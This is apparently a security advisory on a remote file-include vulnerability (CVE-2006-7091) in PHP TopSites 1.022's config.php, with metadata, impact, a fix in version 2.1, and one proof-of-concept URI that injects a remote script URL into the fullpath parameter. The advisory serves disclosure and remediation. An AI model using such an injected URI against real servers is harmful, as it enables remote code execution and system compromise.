PHP TopSites Config.PHP Remote File Include Vulnerability

Bugtraq ID:	20486
Class:	Input Validation Error
CVE:	CVE-2006-7091
Remote:	Yes
Local:	No
Published:	Oct 12 2006 12:00AM
Updated:	Jul 06 2016 02:40PM
Credit:	Le CoPrA is credited with the discovery of this vulnerability.
Vulnerable:	PHP Topsites FREE PHP Topsites FREE 1.022b
Not Vulnerable:	PHP Topsites FREE PHP Topsites FREE 2.1

PHP TopSites Config.PHP Remote File Include Vulnerability

PHP TopSites is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.022 is affected by this issue; other versions may also be affected.

PHP TopSites Config.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

An example proof-of-concept URI is available:

http://www.example.com/[path]/config.php?fullpath=|SCRIPT-URL|

PHP TopSites Config.PHP Remote File Include Vulnerability

Solution:
The vendor has released version 2.1 to address this issue; please see the references for details.

PHP TopSites Config.PHP Remote File Include Vulnerability

References:

• PHP TopSites Website (PHP TopSites)